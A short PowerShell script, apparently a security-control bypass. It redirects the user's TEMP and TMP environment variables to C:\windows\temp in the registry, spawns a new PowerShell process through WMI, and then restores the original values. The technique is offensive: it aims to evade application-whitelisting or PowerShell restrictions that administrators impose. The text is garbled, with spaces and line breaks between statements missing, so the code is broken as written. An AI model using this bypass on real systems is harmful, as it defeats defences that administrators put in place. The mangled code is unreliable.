$CurrTemp=$env:temp$CurrTmp=$env:tmp$TEMPBypassPath="C:\windows\temp"$TMPBypassPath="C:\windows\temp"Set-ItemProperty-Path'hkcu:\Environment'-NameTmp-Value"$TEMPBypassPath"Set-ItemProperty-Path'hkcu:\Environment'-NameTemp-Value"$TMPBypassPath"Invoke-WmiMethod-Classwin32_process-Namecreate-ArgumentList"Powershell.exe"sleep5#Set it back
Set-ItemProperty-Path'hkcu:\Environment'-NameTmp-Value$CurrTmpSet-ItemProperty-Path'hkcu:\Environment'-NameTemp-Value$CurrTemp